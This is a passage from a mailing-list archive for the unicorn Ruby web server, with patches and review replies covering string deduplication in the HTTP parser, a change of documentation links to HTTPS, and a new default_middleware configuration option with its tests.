+static VALUE str_new_dd_freeze(const char *ptr, long len)
+{
+ return str_dd_freeze(rb_str_new(ptr, len));
+}
/* this function is not performance-critical, called only at load time */
static void init_common_fields(VALUE mark_ary)
@@ -65,18 +82,19 @@ static void init_common_fields(VALUE mark_ary)
int i;
struct common_field *cf = common_http_fields;
char tmp[64];
+
+ id_uminus = rb_intern("-@");
memcpy(tmp, HTTP_PREFIX, HTTP_PREFIX_LEN);
for(i = ARRAY_SIZE(common_http_fields); --i >= 0; cf++) {
/* Rack doesn't like certain headers prefixed with "HTTP_" */
if (!strcmp("CONTENT_LENGTH", cf->name) ||
!strcmp("CONTENT_TYPE", cf->name)) {
- cf->value = rb_str_new(cf->name, cf->len);
+ cf->value = str_new_dd_freeze(cf->name, cf->len);
} else {
memcpy(tmp + HTTP_PREFIX_LEN, cf->name, cf->len + 1);
- cf->value = rb_str_new(tmp, HTTP_PREFIX_LEN + cf->len);
+ cf->value = str_new_dd_freeze(tmp, HTTP_PREFIX_LEN + cf->len);
}
- cf->value = rb_obj_freeze(cf->value);
rb_ary_push(mark_ary, cf->value);
}
}
@@ -105,7 +123,7 @@ static VALUE uncommon_field(const char *field, size_t flen)
memcpy(RSTRING_PTR(f) + HTTP_PREFIX_LEN, field, flen);
assert(*(RSTRING_PTR(f) + RSTRING_LEN(f)) == '\0' &&
"string didn't end with \\0"); /* paranoia */
- return rb_obj_freeze(f);
+ return HASH_ASET_DEDUPE ? f : str_dd_freeze(f);
}
#endif /* common_field_optimization_h */
diff --git a/ext/unicorn_http/extconf.rb b/ext/unicorn_http/extconf.rb
index 2fc60fe..5b7a8ca 100644
--- a/ext/unicorn_http/extconf.rb
+++ b/ext/unicorn_http/extconf.rb
@@ -8,4 +8,31 @@
have_func("rb_hash_clear", "ruby.h") # Ruby 2.0+
have_func("gmtime_r", "time.h")
+message('checking if String#-@ (str_uminus) dedupes... ')
+begin
+ a = -(%w(t e s t).join)
+ b = -(%w(t e s t).join)
+ if a.equal?(b)
+ $CPPFLAGS += ' -DSTR_UMINUS_DEDUPE=1 '
+ message("yes\n")
+ else
+ $CPPFLAGS += ' -DSTR_UMINUS_DEDUPE=0 '
+ message("no, needs Ruby 2.5+\n")
+ end
+rescue NoMethodError
+ $CPPFLAGS += ' -DSTR_UMINUS_DEDUPE=0 '
+ message("no, String#-@ not available\n")
+end
+
+message('checking if Hash#[]= (rb_hash_aset) dedupes... ')
+h = {}
+h[%w(m k m f).join('')] = :foo
+if 'mkmf'.freeze.equal?(h.keys[0])
+ $CPPFLAGS += ' -DHASH_ASET_DEDUPE=1 '
+ message("yes\n")
+else
+ $CPPFLAGS += ' -DHASH_ASET_DEDUPE=0 '
+ message("no, needs Ruby 2.6+\n")
+end
+
create_makefile("unicorn_http")
diff --git a/test/unit/test_http_parser.rb b/test/unit/test_http_parser.rb
index 31e6f71..697af44 100644
--- a/test/unit/test_http_parser.rb
+++ b/test/unit/test_http_parser.rb
@@ -865,4 +865,20 @@ def test_memsize
rescue LoadError
# not all Ruby implementations have objspace
end
+
+ def test_dedupe
+ parser = HttpParser.new
+ # n.b. String#freeze optimization doesn't work under modern test-unit
+ exp = -'HTTP_HOST'
+ get = "GET / HTTP/1.1\r\nHost: example.com\r\nHavpbea-fhpxf: true\r\n\r\n"
+ assert parser.add_parse(get)
+ key = parser.env.keys.detect { |k| k == exp }
+ assert_same exp, key
+
+ if RUBY_VERSION.to_r >= 2.6 # 2.6.0-rc1+
+ exp = -'HTTP_HAVPBEA_FHPXF'
+ key = parser.env.keys.detect { |k| k == exp }
+ assert_same exp, key
+ end
+ end if RUBY_VERSION.to_r >= 2.5 && RUBY_ENGINE == 'ruby'
end
^ permalink raw reply related [relevance 10%]
* [PATCH] doc: update more URLs to use HTTPS and avoid redirects
@ 2018-11-07 23:38 2% Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2018-11-07 23:38 UTC (permalink / raw)
To: unicorn-public
Latency from redirects is painful, and HTTPS can protect privacy
in some cases.
---
.olddoc.yml | 2 +-
Application_Timeouts | 8 ++++----
Documentation/unicorn.1.txt | 2 +-
Documentation/unicorn_rails.1.txt | 2 +-
LICENSE | 4 ++--
Links | 12 ++++++------
README | 8 ++++----
Sandbox | 4 ++--
examples/logrotate.conf | 2 +-
examples/nginx.conf | 5 +++--
lib/unicorn/configurator.rb | 2 +-
lib/unicorn/http_request.rb | 2 +-
lib/unicorn/http_server.rb | 2 +-
lib/unicorn/util.rb | 2 +-
t/README | 8 ++++----
15 files changed, 33 insertions(+), 32 deletions(-)
diff --git a/.olddoc.yml b/.olddoc.yml
index cacc0ab..d2d340f 100644
--- a/.olddoc.yml
+++ b/.olddoc.yml
@@ -1,6 +1,6 @@
---
cgit_url: https://bogomips.org/unicorn.git
-git_url: git://bogomips.org/unicorn.git
+git_url: https://bogomips.org/unicorn.git
rdoc_url: https://bogomips.org/unicorn/
ml_url: https://bogomips.org/unicorn-public/
merge_html:
diff --git a/Application_Timeouts b/Application_Timeouts
index 561a1cc..4dcd954 100644
--- a/Application_Timeouts
+++ b/Application_Timeouts
@@ -23,10 +23,10 @@ Most database adapters allow configurable timeouts.
Net::HTTP and Net::SMTP in the Ruby standard library allow
configurable timeouts.
-Even for things as fast as {memcached}[http://memcached.org/],
-{dalli}[http://rubygems.org/gems/dalli],
-{memcached}[http://rubygems.org/gems/memcached] and
-{memcache-client}[http://rubygems.org/gems/memcache-client] RubyGems all
+Even for things as fast as {memcached}[https://memcached.org/],
+{dalli}[https://rubygems.org/gems/dalli],
+{memcached}[https://rubygems.org/gems/memcached] and
+{memcache-client}[https://rubygems.org/gems/memcache-client] RubyGems all
offer configurable timeouts.
Consult the relevant documentation for the libraries you use on
diff --git a/Documentation/unicorn.1.txt b/Documentation/unicorn.1.txt
index e692078..da7281d 100644
--- a/Documentation/unicorn.1.txt
+++ b/Documentation/unicorn.1.txt
@@ -182,6 +182,6 @@ the unicorn config file.
* [Rackup HowTo][3]
[1]: https://bogomips.org/unicorn/
-[2]: http://www.rubydoc.info/github/rack/rack/
+[2]: https://www.rubydoc.info/github/rack/rack/
[3]: https://github.com/rack/rack/wiki/tutorial-rackup-howto
[4]: https://bogomips.org/unicorn/SIGNALS.html
diff --git a/Documentation/unicorn_rails.1.txt b/Documentation/unicorn_rails.1.txt
index 088e2ff..fb0e60f 100644
--- a/Documentation/unicorn_rails.1.txt
+++ b/Documentation/unicorn_rails.1.txt
@@ -170,6 +170,6 @@ used by Unicorn.
* [Rackup HowTo][3]
[1]: https://bogomips.org/unicorn/
-[2]: http://www.rubydoc.info/github/rack/rack/
+[2]: https://www.rubydoc.info/github/rack/rack/
[3]: https://github.com/rack/rack/wiki/tutorial-rackup-howto
[4]: https://bogomips.org/unicorn/SIGNALS.html
diff --git a/LICENSE b/LICENSE
index 5b6458e..e986865 100644
--- a/LICENSE
+++ b/LICENSE
@@ -8,8 +8,8 @@ any later version. We currently prefer the GPLv3 or later for
derivative works, but the GPLv2 is fine.
The complete texts of the GPLv2 and GPLv3 are below:
-GPLv2 - http://www.gnu.org/licenses/gpl-2.0.txt
-GPLv3 - http://www.gnu.org/licenses/gpl-3.0.txt
+GPLv2 - https://www.gnu.org/licenses/gpl-2.0.txt
+GPLv3 - https://www.gnu.org/licenses/gpl-3.0.txt
You may (against our _preference_) also use the Ruby 1.8 license terms
which we inherited from the original Mongrel project when we forked it:
diff --git a/Links b/Links
index 475a6c0..baba9c7 100644
--- a/Links
+++ b/Links
@@ -10,7 +10,7 @@ The unicorn project is not responsible for the content in these links.
Furthermore, the unicorn project has never, does not and will never endorse:
* any for-profit entities or services
-* any non-{Free Software}[http://www.gnu.org/philosophy/free-sw.html]
+* any non-{Free Software}[https://www.gnu.org/philosophy/free-sw.html]
The existence of these links does not imply endorsement of any entities
or services behind them.
@@ -31,25 +31,25 @@ or services behind them.
=== unicorn is written to work with
-* {Rack}[http://rack.github.io/] - a minimal interface between webservers
+* {Rack}[https://rack.github.io/] - a minimal interface between webservers
supporting Ruby and Ruby frameworks
* {Ruby}[https://www.ruby-lang.org/en/] - the programming language of
Rack and unicorn
-* {nginx}[http://nginx.org/] (Free versions) -
+* {nginx}[https://nginx.org/] (Free versions) -
the reverse proxy for use with unicorn
=== Derivatives
-* {Green Unicorn}[http://gunicorn.org/] - a Python version of unicorn
+* {Green Unicorn}[https://gunicorn.org/] - a Python version of unicorn
-* {Starman}[http://search.cpan.org/dist/Starman/] - Plack/PSGI version
+* {Starman}[https://metacpan.org/release/Starman/] - Plack/PSGI version
of unicorn
=== Prior Work
-* {Mongrel}[http://rubygems.org/gems/mongrel] - the awesome webserver
+* {Mongrel}[https://rubygems.org/gems/mongrel] - the awesome webserver
unicorn is based on
* {david}[https://bogomips.org/david.git] - a tool to explain why you need
diff --git a/README b/README
index 29e04b4..5e5ccf7 100644
--- a/README
+++ b/README
@@ -10,7 +10,7 @@ both the the request and response in between unicorn and slow clients.
* Designed for Rack, Unix, fast clients, and ease-of-debugging. We
cut out everything that is better supported by the operating system,
- {nginx}[http://nginx.org/] or {Rack}[http://rack.github.io/].
+ {nginx}[https://nginx.org/] or {Rack}[https://rack.github.io/].
* Compatible with Ruby 1.9.3 and later.
unicorn 4.x remains supported for Ruby 1.8 users.
@@ -77,13 +77,13 @@ You may install it via RubyGems on RubyGems.org:
You can get the latest source via git from the following locations
(these versions may not be stable):
- git://bogomips.org/unicorn.git
- git://repo.or.cz/unicorn.git (mirror)
+ https://bogomips.org/unicorn.git
+ https://repo.or.cz/unicorn.git (mirror)
You may browse the code from the web:
* https://bogomips.org/unicorn.git
-* http://repo.or.cz/w/unicorn.git (gitweb)
+* https://repo.or.cz/w/unicorn.git (gitweb)
See the HACKING guide on how to contribute and build prerelease gems
from git.
diff --git a/Sandbox b/Sandbox
index e10b36d..d0f915e 100644
--- a/Sandbox
+++ b/Sandbox
@@ -3,7 +3,7 @@
Since unicorn includes executables and is usually used to start a Ruby
process, there are certain caveats to using it with tools that sandbox
RubyGems installations such as
-{Bundler}[http://bundler.io/] or
+{Bundler}[https://bundler.io/] or
{Isolate}[https://github.com/jbarnette/isolate].
== General deployment
@@ -66,7 +66,7 @@ before_exec hook as illustrated by https://gist.github.com/534668
Ruby 2.0.0 enforces FD_CLOEXEC on file descriptors by default. unicorn
has been prepared for this behavior since unicorn 4.1.0, and bundler
needs the "--keep-file-descriptors" option for "bundle exec":
-http://bundler.io/man/bundle-exec.1.html
+https://bundler.io/man/bundle-exec.1.html
== Isolate
diff --git a/examples/logrotate.conf b/examples/logrotate.conf
index 437f6c6..77a01b5 100644
--- a/examples/logrotate.conf
+++ b/examples/logrotate.conf
@@ -2,7 +2,7 @@
# /etc/logrotate.d/unicorn_app on my Debian systems
#
# See the logrotate(8) manpage for more information:
-# http://linux.die.net/man/8/logrotate
+# https://linux.die.net/man/8/logrotate
#
# public logrotate-related discussion in our archives:
# https://bogomips.org/unicorn-public/?q=logrotate
diff --git a/examples/nginx.conf b/examples/nginx.conf
index e25712f..b6b69c1 100644
--- a/examples/nginx.conf
+++ b/examples/nginx.conf
@@ -56,7 +56,8 @@ http {
# to configure it all in one place here for static files and also
# to disable gzip for clients who don't get gzip/deflate right.
# There are other gzip settings that may be needed used to deal with
- # bad clients out there, see http://wiki.nginx.org/NginxHttpGzipModule
+ # bad clients out there, see
+ # https://nginx.org/en/docs/http/ngx_http_gzip_module.html
gzip on;
gzip_http_version 1.0;
gzip_proxied any;
@@ -117,7 +118,7 @@ http {
location @app {
# an HTTP header important enough to have its own Wikipedia entry:
- # http://en.wikipedia.org/wiki/X-Forwarded-For
+ # https://en.wikipedia.org/wiki/X-Forwarded-For
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
# enable this if you forward HTTPS traffic to unicorn,
diff --git a/lib/unicorn/configurator.rb b/lib/unicorn/configurator.rb
index d426edf..e8b76f5 100644
--- a/lib/unicorn/configurator.rb
+++ b/lib/unicorn/configurator.rb
@@ -238,7 +238,7 @@ def before_exec(*args, &block)
# server 192.168.0.9:8080 fail_timeout=0;
# }
#
- # See http://nginx.org/en/docs/http/ngx_http_upstream_module.html
+ # See https://nginx.org/en/docs/http/ngx_http_upstream_module.html
# for more details on nginx upstream configuration.
def timeout(seconds)
set_int(:timeout, seconds, 3)
diff --git a/lib/unicorn/http_request.rb b/lib/unicorn/http_request.rb
index 8bb884b..bcc1f2d 100644
--- a/lib/unicorn/http_request.rb
+++ b/lib/unicorn/http_request.rb
@@ -65,7 +65,7 @@ def read(socket)
clear
e = env
- # From http://www.ietf.org/rfc/rfc3875:
+ # From https://www.ietf.org/rfc/rfc3875:
# "Script authors should be aware that the REMOTE_ADDR and
# REMOTE_HOST meta-variables (see sections 4.1.8 and 4.1.9)
# may not identify the ultimate source of the request. They
diff --git a/lib/unicorn/http_server.rb b/lib/unicorn/http_server.rb
index 62f6171..5334fa0 100644
--- a/lib/unicorn/http_server.rb
+++ b/lib/unicorn/http_server.rb
@@ -84,7 +84,7 @@ def initialize(app, options = {})
# * The master process never closes or reinitializes this once
# initialized. Signal handlers in the master process will write to
# it to wake up the master from IO.select in exactly the same manner
- # djb describes in http://cr.yp.to/docs/selfpipe.html
+ # djb describes in https://cr.yp.to/docs/selfpipe.html
#
# * The workers immediately close the pipe they inherit. See the
# Unicorn::Worker class for the pipe workers use.
diff --git a/lib/unicorn/util.rb b/lib/unicorn/util.rb
index 501930c..b826de4 100644
--- a/lib/unicorn/util.rb
+++ b/lib/unicorn/util.rb
@@ -64,7 +64,7 @@ def self.reopen_logs
fp.reopen(fp.path, "a")
else
# We should not need this workaround, Ruby can be fixed:
- # http://bugs.ruby-lang.org/issues/9036
+ # https://bugs.ruby-lang.org/issues/9036
# MRI will not call call fclose(3) or freopen(3) here
# since there's no associated std{in,out,err} FILE * pointer
# This should atomically use dup3(2) (or dup2(2)) syscall
diff --git a/t/README b/t/README
index bcaf3ce..0d9b697 100644
--- a/t/README
+++ b/t/README
@@ -10,17 +10,17 @@ comfortable writing integration tests with.
== Requirements
-* {Ruby 1.9.3+}[https://www.ruby-lang.org/] (duh!)
-* {GNU make}[http://www.gnu.org/software/make/]
+* {Ruby 1.9.3+}[https://www.ruby-lang.org/en/] (duh!)
+* {GNU make}[https://www.gnu.org/software/make/]
* {socat}[http://www.dest-unreach.org/socat/]
-* {curl}[http://curl.haxx.se/]
+* {curl}[https://curl.haxx.se/]
* standard UNIX shell utilities (Bourne sh, awk, sed, grep, ...)
We do not use bashisms or any non-portable, non-POSIX constructs
in our shell code. We use the "pipefail" option if available and
mainly test with {ksh}[http://kornshell.com/], but occasionally
with {dash}[http://gondor.apana.org.au/~herbert/dash/] and
-{bash}[http://www.gnu.org/software/bash/], too.
+{bash}[https://www.gnu.org/software/bash/], too.
== Running Tests
--
EW
^ permalink raw reply related [relevance 2%]
* Re: Support default_middleware configurator method
2018-09-21 0:21 8% ` Jeremy Evans
@ 2018-09-23 8:52 0% ` Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2018-09-23 8:52 UTC (permalink / raw)
To: Jeremy Evans; +Cc: unicorn-public
Jeremy Evans <code@jeremyevans.net> wrote:
> Sorry about both of those issues and for the delay in responding to
> this.
No worries, I haven't been around much, either.
> I've included your changes in the following squashed commit,
> which also includes an integration test for the default_middleware
> configuration option, based on the existing integration test for
> the -N option.
Whoops, sorry, I guess I wasn't clear when I said I already
applied your change with squashes as
5985dd50a9bd72388dd5ca4886d6dffc083f87d4 in my message:
https://bogomips.org/unicorn-public/20180921003441.i4uxywyptlyscwv6@dcvr/
^ permalink raw reply [relevance 0%]
* Re: Support default_middleware configurator method
2018-09-19 7:39 3% ` Eric Wong
@ 2018-09-21 0:21 8% ` Jeremy Evans
2018-09-23 8:52 0% ` Eric Wong
2018-09-21 0:34 10% ` [PATCH 2/1] tests: ensure -N/--no-default-middleware not supported in config.ru Eric Wong
1 sibling, 1 reply; 200+ results
From: Jeremy Evans @ 2018-09-21 0:21 UTC (permalink / raw)
To: Eric Wong; +Cc: unicorn-public
On 09/19 07:39, Eric Wong wrote:
> Jeremy Evans <code@jeremyevans.net> wrote:
> > OK. To implement that, I modified the bin/unicorn file so -N
> > is only respected while parsing ARGV, and not while parsing
> > embedded configuration file options.
>
> Thanks.
>
> Unfortunately, -N on the command-line was broken by your patch.
> I fixed configurator.rb ordering (below) to pass t0300
> integration test.
>
> Also, using a non-config.ru .rb file (TestHandler in
> test/unit/test_server.rb) was broken because of missing
> parentheses.
Sorry about both of those issues and for the delay in responding to
this. I've included your changes in the following squashed commit,
which also includes an integration test for the default_middleware
configuration option, based on the existing integration test for
the -N option.
Thanks,
Jeremy
From fdbbcc82b838a39abdc43448490eb83d80c4f763 Mon Sep 17 00:00:00 2001
From: Jeremy Evans <code@jeremyevans.net>
Date: Thu, 13 Sep 2018 10:48:25 -0700
Subject: [PATCH] Support default_middleware configuration option
This allows for the equivalent of the
-N/--no-default_middleware command line option to be
specified in the configuration file so it doesn't
need to be specified on the command line every time
unicorn is executed.
It explicitly excludes the use of -N/--no-default_middleware
as an embedded configuration option in the rackup file, by
ignoring the options after ARGV is parsed.
In order to allow the configuration method to work, have
the lambda that Unicorn.builder returns accept two arguments.
Technically, only one argument is needed for the HttpServer
instance, but I'm guessing if the lambda accepts a single
argument, we expect that to be a rack application instead
of a lambda that returns a rack application.
The command line option option to disable default middleware
will take precedence over the unicorn configuration file option
if both are present.
For backwards compatibility, if the lambda passed to
HttpServer accepts 0 arguments, then call it without
arguments.
---
bin/unicorn | 4 +++-
lib/unicorn.rb | 8 ++------
lib/unicorn/configurator.rb | 11 +++++++++++
lib/unicorn/http_server.rb | 8 +++++---
t/t0301-default-middleware-false.sh | 22 ++++++++++++++++++++++
5 files changed, 43 insertions(+), 10 deletions(-)
create mode 100644 t/t0301-default-middleware-false.sh
diff --git a/bin/unicorn b/bin/unicorn
index 3c5e5cb..00c8464 100755
--- a/bin/unicorn
+++ b/bin/unicorn
@@ -6,6 +6,7 @@
ENV["RACK_ENV"] ||= "development"
rackup_opts = Unicorn::Configurator::RACKUP
options = rackup_opts[:options]
+set_no_default_middleware = true
op = OptionParser.new("", 24, ' ') do |opts|
cmd = File.basename($0)
@@ -60,7 +61,7 @@
opts.on("-N", "--no-default-middleware",
"do not load middleware implied by RACK_ENV") do |e|
- rackup_opts[:no_default_middleware] = true
+ rackup_opts[:no_default_middleware] = true if set_no_default_middleware
end
opts.on("-D", "--daemonize", "run daemonized in the background") do |d|
@@ -110,6 +111,7 @@
opts.parse! ARGV
end
+set_no_default_middleware = false
app = Unicorn.builder(ARGV[0] || 'config.ru', op)
op = nil
diff --git a/lib/unicorn.rb b/lib/unicorn.rb
index b6dae36..5f2134d 100644
--- a/lib/unicorn.rb
+++ b/lib/unicorn.rb
@@ -45,12 +45,8 @@ def self.builder(ru, op)
abort "rack and Rack::Builder must be available for processing #{ru}"
end
- # Op is going to get cleared before the returned lambda is called, so
- # save this value so that it's still there when we need it:
- no_default_middleware = op[:no_default_middleware]
-
# always called after config file parsing, may be called after forking
- lambda do ||
+ lambda do |_, server|
inner_app = case ru
when /\.ru$/
raw = File.read(ru)
@@ -66,7 +62,7 @@ def self.builder(ru, op)
pp({ :inner_app => inner_app })
end
- return inner_app if no_default_middleware
+ return inner_app unless server.default_middleware
middleware = { # order matters
ContentLength: nil,
diff --git a/lib/unicorn/configurator.rb b/lib/unicorn/configurator.rb
index f34d38b..d426edf 100644
--- a/lib/unicorn/configurator.rb
+++ b/lib/unicorn/configurator.rb
@@ -88,6 +88,9 @@ def reload(merge_defaults = true) #:nodoc:
RACKUP[:set_listener] and
set[:listeners] << "#{RACKUP[:host]}:#{RACKUP[:port]}"
+ RACKUP[:no_default_middleware] and
+ set[:default_middleware] = false
+
# unicorn_rails creates dirs here after working_directory is bound
after_reload.call if after_reload
@@ -265,6 +268,14 @@ def worker_processes(nr)
set_int(:worker_processes, nr, 1)
end
+ # sets whether to add default middleware in the development and
+ # deployment RACK_ENVs.
+ #
+ # default_middleware is only available in unicorn 5.5.0+
+ def default_middleware(bool)
+ set_bool(:default_middleware, bool)
+ end
+
# sets listeners to the given +addresses+, replacing or augmenting the
# current set. This is for the global listener pool shared by all
# worker processes. For per-worker listeners, see the after_fork example
diff --git a/lib/unicorn/http_server.rb b/lib/unicorn/http_server.rb
index b2bbddb..62f6171 100644
--- a/lib/unicorn/http_server.rb
+++ b/lib/unicorn/http_server.rb
@@ -14,7 +14,8 @@ class Unicorn::HttpServer
attr_accessor :app, :timeout, :worker_processes,
:before_fork, :after_fork, :before_exec,
:listener_opts, :preload_app,
- :orig_app, :config, :ready_pipe, :user
+ :orig_app, :config, :ready_pipe, :user,
+ :default_middleware
attr_writer :after_worker_exit, :after_worker_ready, :worker_exec
attr_reader :pid, :logger
@@ -70,6 +71,7 @@ def initialize(app, options = {})
@app = app
@request = Unicorn::HttpRequest.new
@reexec_pid = 0
+ @default_middleware = true
options = options.dup
@ready_pipe = options.delete(:ready_pipe)
@init_listeners = options[:listeners] ? options[:listeners].dup : []
@@ -784,12 +786,12 @@ def listener_names(listeners = LISTENERS)
end
def build_app!
- if app.respond_to?(:arity) && app.arity == 0
+ if app.respond_to?(:arity) && (app.arity == 0 || app.arity == 2)
if defined?(Gem) && Gem.respond_to?(:refresh)
logger.info "Refreshing Gem list"
Gem.refresh
end
- self.app = app.call
+ self.app = app.arity == 0 ? app.call : app.call(nil, self)
end
end
diff --git a/t/t0301-default-middleware-false.sh b/t/t0301-default-middleware-false.sh
new file mode 100644
index 0000000..c505f1d
--- /dev/null
+++ b/t/t0301-default-middleware-false.sh
@@ -0,0 +1,22 @@
+#!/bin/sh
+. ./test-lib.sh
+t_plan 3 "test the default_middleware false configuration option"
+
+t_begin "setup and start" && {
+ unicorn_setup
+ echo default_middleware false >> $unicorn_config
+ unicorn -D -c $unicorn_config fails-rack-lint.ru
+ unicorn_wait_start
+}
+
+t_begin "check exit status with Rack::Lint not present" && {
+ test 42 -eq "$(curl -sf -o/dev/null -w'%{http_code}' http://$listen/)"
+}
+
+t_begin "killing succeeds" && {
+ kill $unicorn_pid
+ check_stderr
+}
+
+t_done
+
--
2.17.1
^ permalink raw reply related [relevance 8%]
* [PATCH 2/1] tests: ensure -N/--no-default-middleware not supported in config.ru
2018-09-19 7:39 3% ` Eric Wong
2018-09-21 0:21 8% ` Jeremy Evans
@ 2018-09-21 0:34 10% ` Eric Wong
1 sibling, 0 replies; 200+ results
From: Eric Wong @ 2018-09-21 0:34 UTC (permalink / raw)
To: Jeremy Evans; +Cc: unicorn-public
Eric Wong <e@80x24.org> wrote:
> Will squash the following changes in before pushing:
Squashed and pushed to master as 5985dd50a9bd72388dd5ca4886d6dffc083f87d4
Also added a new test to ensure we don't start supporting -N in
config.ru:
--------8<----------
Subject: [PATCH] tests: ensure -N/--no-default-middleware not supported in
config.ru
Continue to make it easy to migrate AWAY from unicorn because
vendor lock-in is the worst thing, especially if it's on us.
---
...no-default-middleware-ignored-in-config.sh | 25 +++++++++++++++++++
t/t0301.ru | 13 ++++++++++
2 files changed, 38 insertions(+)
create mode 100755 t/t0301-no-default-middleware-ignored-in-config.sh
create mode 100644 t/t0301.ru
diff --git a/t/t0301-no-default-middleware-ignored-in-config.sh b/t/t0301-no-default-middleware-ignored-in-config.sh
new file mode 100755
index 0000000..0b6cd94
--- /dev/null
+++ b/t/t0301-no-default-middleware-ignored-in-config.sh
@@ -0,0 +1,25 @@
+#!/bin/sh
+. ./test-lib.sh
+t_plan 3 "-N / --no-default-middleware option not supported in config.ru"
+
+t_begin "setup and start" && {
+ unicorn_setup
+ RACK_ENV=development unicorn -D -c $unicorn_config t0301.ru
+ unicorn_wait_start
+}
+
+t_begin "check switches parsed as expected and -N ignored for Rack::Lint" && {
+ debug=false
+ lint=
+ eval "$(curl -sf http://$listen/vars)"
+ test x"$debug" = xtrue
+ test x"$lint" != x
+ test -f "$lint"
+}
+
+t_begin "killing succeeds" && {
+ kill $unicorn_pid
+ check_stderr
+}
+
+t_done
diff --git a/t/t0301.ru b/t/t0301.ru
new file mode 100644
index 0000000..1ae8ea7
--- /dev/null
+++ b/t/t0301.ru
@@ -0,0 +1,13 @@
+#\-N --debug
+run(lambda do |env|
+ case env['PATH_INFO']
+ when '/vars'
+ b = "debug=#{$DEBUG.inspect}\n" \
+ "lint=#{caller.grep(%r{rack/lint\.rb})[0].split(':')[0]}\n"
+ end
+ h = {
+ 'Content-Length' => b.size.to_s,
+ 'Content-Type' => 'text/plain',
+ }
+ [ 200, h, [ b ] ]
+end)
--
EW
^ permalink raw reply related [relevance 10%]
* Re: Support default_middleware configurator method
@ 2018-09-19 7:39 3% ` Eric Wong
2018-09-21 0:21 8% ` Jeremy Evans
2018-09-21 0:34 10% ` [PATCH 2/1] tests: ensure -N/--no-default-middleware not supported in config.ru Eric Wong
0 siblings, 2 replies; 200+ results
From: Eric Wong @ 2018-09-19 7:39 UTC (permalink / raw)
To: Jeremy Evans; +Cc: unicorn-public
Jeremy Evans <code@jeremyevans.net> wrote:
> OK. To implement that, I modified the bin/unicorn file so -N
> is only respected while parsing ARGV, and not while parsing
> embedded configuration file options.
Thanks.
Unfortunately, -N on the command-line was broken by your patch.
I fixed configurator.rb ordering (below) to pass t0300
integration test.
Also, using a non-config.ru .rb file (TestHandler in
test/unit/test_server.rb) was broken because of missing
parentheses.
Will squash the following changes in before pushing:
diff --git a/lib/unicorn/configurator.rb b/lib/unicorn/configurator.rb
index 9c36dfe..d426edf 100644
--- a/lib/unicorn/configurator.rb
+++ b/lib/unicorn/configurator.rb
@@ -88,6 +88,9 @@ def reload(merge_defaults = true) #:nodoc:
RACKUP[:set_listener] and
set[:listeners] << "#{RACKUP[:host]}:#{RACKUP[:port]}"
+ RACKUP[:no_default_middleware] and
+ set[:default_middleware] = false
+
# unicorn_rails creates dirs here after working_directory is bound
after_reload.call if after_reload
@@ -714,9 +717,6 @@ def parse_rackup_file # :nodoc:
/^#\\(.*)/ =~ File.read(ru) or return
RACKUP[:optparse].parse!($1.split(/\s+/))
- if RACKUP[:no_default_middleware]
- set[:default_middleware] = false
- end
if RACKUP[:daemonize]
# unicorn_rails wants a default pid path, (not plain 'unicorn')
diff --git a/lib/unicorn/http_server.rb b/lib/unicorn/http_server.rb
index 7531886..62f6171 100644
--- a/lib/unicorn/http_server.rb
+++ b/lib/unicorn/http_server.rb
@@ -786,7 +786,7 @@ def listener_names(listeners = LISTENERS)
end
def build_app!
- if app.respond_to?(:arity) && app.arity == 0 || app.arity == 2
+ if app.respond_to?(:arity) && (app.arity == 0 || app.arity == 2)
if defined?(Gem) && Gem.respond_to?(:refresh)
logger.info "Refreshing Gem list"
Gem.refresh
But there's still no tests for the config file option...
I assume you tested that part locally?
Thanks again.
^ permalink raw reply related [relevance 3%]
* Re: Support default_middleware configurator method
2018-09-13 22:34 2% ` Eric Wong
@ 2018-09-14 0:00 2% ` Jeremy Evans
0 siblings, 1 reply; 200+ results
From: Jeremy Evans @ 2018-09-14 0:00 UTC (permalink / raw)
To: Eric Wong; +Cc: unicorn-public
On 09/13 10:34, Eric Wong wrote:
> Jeremy Evans <code@jeremyevans.net> wrote:
> > I was originally looking for a way to turn off default middleware
> > without having to specify the -N command line option every time.
> > After reading the Unicorn.builder code, I thought it may be
> > possible to do this by specifying the option as an embedded option
> > in the rackup file, via the following line at the top of the file:
> >
> > #\-N
> >
> > Unfortunately, while this works for many other command line options,
> > because of Unicorn's internals, this doesn't work for -N, as
> > embedded options are not parsed until after the check for skipping
> > default middleware is made.
>
> That was intentional, I think. We should never be encouraging
> users to pollute config.ru and make it difficult to migrate/test
> other servers.
>
> > This patch makes the embedded -N option work, as well as adds a
> > default_middleware configuration file option
>
> I really hate the -N vs RACK_ENV=none redundancy... Is -N still
> needed for Rails or something else while keeping RACK_ENV unset?
I use RACK_ENV to configure the environment for my web applications, and
for a few reasons have used development/test/production as the
environment names. I try as much as possible to have the development
environment mirror the production environment unless there is a good
reason to be different, and would like to avoid adding all of the
middleware Unicorn adds in development mode.
Additionally, let's say I want to add Rack::CommonLogger to both
development and production environments. So in my config.ru, I add:
use Rack::CommonLogger, Logger.new($stderr)
Now I load up the development version. Then I have two common loggers
in development, with all requests being logged twice. I currently
work around this by doing something like:
unless ENV['RACK_ENV'] == 'development'
use Rack::CommonLogger, Logger.new($stderr)
end
I would like to avoid having to do that.
> Worse case is we only support default_middleware as a config
> option (but I prefer not to add more options). Embedded -N support
> is an anti-feature which leads to lock-in.
I don't really care about embedded -N support. I actually didn't even
know embedded command file options were possible until I saw the
comment in Unicorn.builder. I just want some way to specify not to
load default middleware without requiring a command line option each
time.
Thanks,
Jeremy
^ permalink raw reply [relevance 2%]
* Re: Support default_middleware configurator method
@ 2018-09-13 22:34 2% ` Eric Wong
2018-09-14 0:00 2% ` Jeremy Evans
0 siblings, 1 reply; 200+ results
From: Eric Wong @ 2018-09-13 22:34 UTC (permalink / raw)
To: Jeremy Evans; +Cc: unicorn-public
Jeremy Evans <code@jeremyevans.net> wrote:
> I was originally looking for a way to turn off default middleware
> without having to specify the -N command line option every time.
> After reading the Unicorn.builder code, I thought it may be
> possible to do this by specifying the option as an embedded option
> in the rackup file, via the following line at the top of the file:
>
> #\-N
>
> Unfortunately, while this works for many other command line options,
> because of Unicorn's internals, this doesn't work for -N, as
> embedded options are not parsed until after the check for skipping
> default middleware is made.
That was intentional, I think. We should never be encouraging
users to pollute config.ru and make it difficult to migrate/test
other servers.
> This patch makes the embedded -N option work, as well as adds a
> default_middleware configuration file option
I really hate the -N vs RACK_ENV=none redundancy... Is -N still
needed for Rails or something else while keeping RACK_ENV unset?
Worse case is we only support default_middleware as a config
